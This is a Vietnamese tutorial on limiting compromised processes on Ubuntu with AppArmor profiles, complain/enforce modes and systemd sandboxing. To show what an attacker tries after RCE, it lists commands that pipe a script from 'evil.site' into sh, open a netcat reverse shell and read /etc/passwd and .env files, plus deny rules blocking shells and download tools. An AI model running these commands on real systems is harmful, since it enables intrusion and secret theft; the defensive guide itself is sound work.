Secure Ubuntu server bằng AppArmor: chặn tiến trình vượt quyền thực tế
Một server Ubuntu bị xâm nhập hiếm khi “nổ tung” ngay lập tức. Thường hơn: attacker lấy được quyền trong một tiến trình nhỏ—web app, cron job, worker, service nội bộ—rồi tìm cách đọc file nhạy cảm, ghi shell, gọi binary hệ thống, mở kết nối lạ, leo thang quyền. Vấn đề: Linux permission truyền thống chỉ kiểm soát theo user/group. Nếu tiến trình chạy dưới user có quyền đọc file nào đó, nó đọc được. Nếu nó gọi được /bin/bash, nó gọi. Nếu nó ghi được thư mục, nó thả payload.
Kết quả: exploit thành công ở tầng ứng dụng → thiệt hại bị khoanh vùng.
AppArmor là gì, khác gì chmod/firewall?
AppArmor là cơ chế MAC trên Linux, mặc định có sẵn trên Ubuntu. Nó gắn policy vào chương trình theo path, ví dụ:– /usr/sbin/nginx
– /usr/bin/python3
– /usr/bin/php-fpm8.2
– /opt/myapp/bin/worker
Policy quy định process được:
– đọc/ghi file nào; – execute binary nào; – dùng capability nào; – truy cập network không; – dùng signal, ptrace, mount, dbus… không.
So với công cụ khác:
– chmod/chown → quyền theo file/user. – ufw/iptables → network. – systemd hardening → sandbox service-level. – AppArmor → policy chi tiết theo tiến trình.
Điểm mạnh: dễ đọc hơn SELinux, tích hợp tốt Ubuntu, triển khai nhanh, log rõ.
Vì sao cần AppArmor trên server thực tế?
Giả sử bạn có web app chạy dưới user www-data. App bị RCE. Attacker chạy được code trong process app.
Nếu không có AppArmor, attacker có thể thử:
cat /etc/passwd
cat /etc/nginx/nginx.conf
cat /var/www/app/.env
/bin/bash -i
curl http://evil.site/shell.sh | sh
python3 -c '...'
nc attacker 4444 -e /bin/shNếu process có quyền filesystem tương ứng, hành vi thành công.
Với AppArmor profile chặt:
– app chỉ đọc /var/www/app/**;
– chỉ ghi /var/www/app/storage/**;
– không đọc /etc/** trừ file cần thiết;
– không execute /bin/bash, /usr/bin/curl, /usr/bin/nc;
– không dùng capability nguy hiểm;
– network bị giới hạn.
RCE vẫn nguy hiểm, nhưng attacker bị nhốt trong hộp nhỏ hơn.
Kiểm tra AppArmor trên Ubuntu
Ubuntu thường bật sẵn AppArmor.
sudo aa-statusKết quả cần chú ý:
apparmor module is loaded.
profiles are loaded.
profiles are in enforce mode.
profiles are in complain mode.Ý nghĩa:
– enforce → vi phạm bị chặn. – complain → chỉ log, không chặn. Dùng khi học policy. – unconfined → process chưa bị profile quản.
Cài công cụ cần thiết:
sudo apt update
sudo apt install apparmor apparmor-utils auditdLog xem tại:
sudo journalctl -k | grep apparmor
sudo ausearch -m AVC,USER_AVCTư duy thiết kế profile: tối thiểu quyền
Không viết profile kiểu “cho chạy hết rồi chặn vài thứ”. Hãy đảo ngược:
deny mặc định → allow đúng nhu cầu.Câu hỏi trước khi viết:
1. Process cần đọc config nào? 2. Cần ghi thư mục nào? 3. Cần execute binary phụ nào? 4. Cần network outbound không? 5. Cần quyền Linux capability nào? 6. Cần đọc secret không? Nếu có, path cụ thể? 7. Log/cache/temp ở đâu?
Ví dụ web app PHP/Laravel:
– đọc code: /var/www/app/** r
– ghi storage: /var/www/app/storage/** rwk
– đọc env: /var/www/app/.env r
– đọc cert CA: /etc/ssl/certs/** r
– ghi log app: /var/log/myapp/** rw
– không chạy shell;
– không đọc /root/**;
– không đọc /home/**;
– không ghi /tmp tùy tiện nếu không cần.
Tạo profile thực tế cho service custom
Giả sử app chạy bằng systemd:
/opt/myapp/bin/serverService:
[Service]
User=myapp
ExecStart=/opt/myapp/bin/server
WorkingDirectory=/opt/myappTạo profile:
sudo aa-genprof /opt/myapp/bin/serverChạy app, thao tác đủ luồng thật:
sudo systemctl restart myapp
curl http://127.0.0.1:8080/
curl http://127.0.0.1:8080/login
curl http://127.0.0.1:8080/api/healthQuay lại terminal aa-genprof, chọn allow/deny theo log.
Profile nằm tại:
/etc/apparmor.d/opt.myapp.bin.serverVí dụ rút gọn:
#include <tunables/global>
profile opt.myapp.bin.server /opt/myapp/bin/server {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/ssl_certs>
network inet stream,
network inet6 stream,
/opt/myapp/bin/server rix,
/opt/myapp/** r,
/opt/myapp/config/*.yaml r,
/var/lib/myapp/** rwk,
/var/log/myapp/** rwk,
/run/myapp/** rwk,
/etc/ssl/certs/** r,
/etc/resolv.conf r,
/etc/hosts r,
deny /root/** rwklx,
deny /home/** rwklx,
deny /etc/shadow r,
deny /bin/bash x,
deny /bin/sh x,
deny /usr/bin/curl x,
deny /usr/bin/wget x,
deny /usr/bin/nc x,
capability net_bind_service,
}
Nạp profile:
sudo apparmor_parser -r /etc/apparmor.d/opt.myapp.bin.server
sudo aa-enforce /etc/apparmor.d/opt.myapp.bin.server
sudo systemctl restart myappKiểm tra:
sudo aa-status | grep myappComplain mode: triển khai an toàn hơn
Đừng đưa profile mới vào enforce ngay trên production nếu chưa test.
Quy trình tốt:
1. Tạo profile. 2. Đặt complain. 3. Chạy workload thật. 4. Đọc log denial. 5. Sửa allow tối thiểu. 6. Enforce. 7. Monitor.
Lệnh:
sudo aa-complain /etc/apparmor.d/opt.myapp.bin.server
sudo systemctl restart myappXem log:
sudo journalctl -k -f | grep apparmorSau khi ổn:
sudo aa-enforce /etc/apparmor.d/opt.myapp.bin.serverComplain mode giúp giảm rủi ro “policy quá chặt → outage”.
Chặn shell escape: điểm thực chiến cực quan trọng
Nhiều vụ RCE phụ thuộc vào việc gọi shell hoặc tool phụ.
Ví dụ payload:
bash -c 'id; cat /etc/passwd'Nếu profile deny execute shell:
deny /bin/bash x,
deny /bin/sh x,
deny /usr/bin/dash x,Payload chết ngay khi exec.
Tương tự với công cụ tải payload:
deny /usr/bin/curl x,
deny /usr/bin/wget x,
deny /usr/bin/python3 x,
deny /usr/bin/perl x,
deny /usr/bin/nc x,
deny /usr/bin/socat x,Lưu ý: chỉ deny nếu app không cần chúng. Nếu app cần python3 thật, hãy giới hạn execution mode/path, hoặc tách worker riêng với profile riêng.
File permission vẫn cần đúng
AppArmor không thay thế hardening cơ bản.
Nên làm song song:
sudo chown -R root:myapp /opt/myapp
sudo chmod -R o-rwx /opt/myapp
sudo chown -R myapp:myapp /var/lib/myapp /var/log/myappNguyên tắc:
– code/config → app đọc, không ghi; – data/cache/log → app ghi; – secret → chỉ process cần đọc; – deploy user ≠ runtime user; – không chạy app bằng root.
AppArmor là lớp chặn bổ sung. Unix permission sai → profile khó cứu hết.
Kết hợp AppArmor với systemd hardening
systemd có nhiều option sandbox mạnh. Dùng cùng AppArmor → phòng thủ nhiều lớp.
Ví dụ:
[Service]
User=myapp
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/myapp /var/log/myapp /run/myapp
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
AppArmorProfile=opt.myapp.bin.serverHiệu quả:
– systemd khóa filesystem rộng;
– AppArmor khóa path/action cụ thể;
– capability bị cắt;
– /home bị che;
– /tmp riêng;
– process không tự tăng quyền.
Nếu service bị khai thác, attacker gặp nhiều lớp tường thay vì một lớp.
Debug denial: đọc log đúng cách
Log AppArmor thường có dạng:
apparmor="DENIED" operation="open" profile="opt.myapp.bin.server" name="/etc/ssl/openssl.cnf" requested_mask="r" denied_mask="r"Giải nghĩa:
– profile → policy nào chặn.
– operation → hành động.
– name → file/tài nguyên.
– requested_mask → quyền process muốn.
– denied_mask → quyền bị từ chối.
Nếu hợp lệ, thêm rule:
/etc/ssl/openssl.cnf r,Nếu đáng ngờ, giữ deny.
Có thể dùng:
sudo aa-logprofCông cụ sẽ đọc log, gợi ý rule. Nhưng đừng bấm allow mù. Mỗi allow là mở thêm bề mặt tấn công.
Sai lầm thường gặp
Cho quá rộng
Rule nguy hiểm:
/** rwklx,Nó gần như phá giá trị profile.
Tốt hơn:
/opt/myapp/** r,
/var/lib/myapp/** rwk,Dùng complain mãi
Complain chỉ log. Không chặn. Production cần enforce sau giai đoạn học.
Quên process con
App gọi worker, imagemagick, ffmpeg, python script? Cần xét execution mode.
Nếu cho ix hoặc px sai → process con có thể thoát policy hoặc dùng policy khác không chặt.
Không test đường lỗi
App chỉ ghi log lỗi khi lỗi xảy ra. Nếu không test lỗi, profile có thể chặn lúc production gặp incident.
Test cả:
– startup; – request thường; – login; – upload; – export; – job nền; – lỗi DB; – rotate log; – restart.
Checklist triển khai nhanh
– aa-status → AppArmor bật.
– Service không chạy root.
– Profile riêng cho binary chính.
– Complain trước, enforce sau.
– Chỉ allow path cần thiết.
– Deny shell/tool tải payload nếu không cần.
– Giới hạn capability.
– Kết hợp systemd sandbox.
– Monitor log denial.
– Review profile sau mỗi deploy lớn.
Kết luận thực tế
AppArmor không làm server “bất tử”. Nó không sửa bug SQL injection, không vá dependency lỗi, không thay authentication yếu. Nhưng nó làm một việc cực giá trị: giảm hậu quả khi bug bị khai thác.
Trong mô hình phòng thủ hiện đại, câu hỏi không phải “có bị RCE không?”, mà là: nếu bị RCE, process đó làm được gì? Với AppArmor, câu trả lời có thể chuyển từ “đọc secret, gọi shell, tải payload, pivot” thành “bị chặn, log lại, thiệt hại giới hạn”.
Bắt đầu từ một service quan trọng nhất. Viết profile nhỏ. Chạy complain. Quan sát. Enforce. Lặp lại. Sau vài vòng, Ubuntu server của bạn không chỉ “được cấu hình”, mà thật sự có khả năng chặn tiến trình vượt quyền trong tình huống thực tế.
Bình luận (0)
Chưa có bình luận. Hãy là người đầu tiên!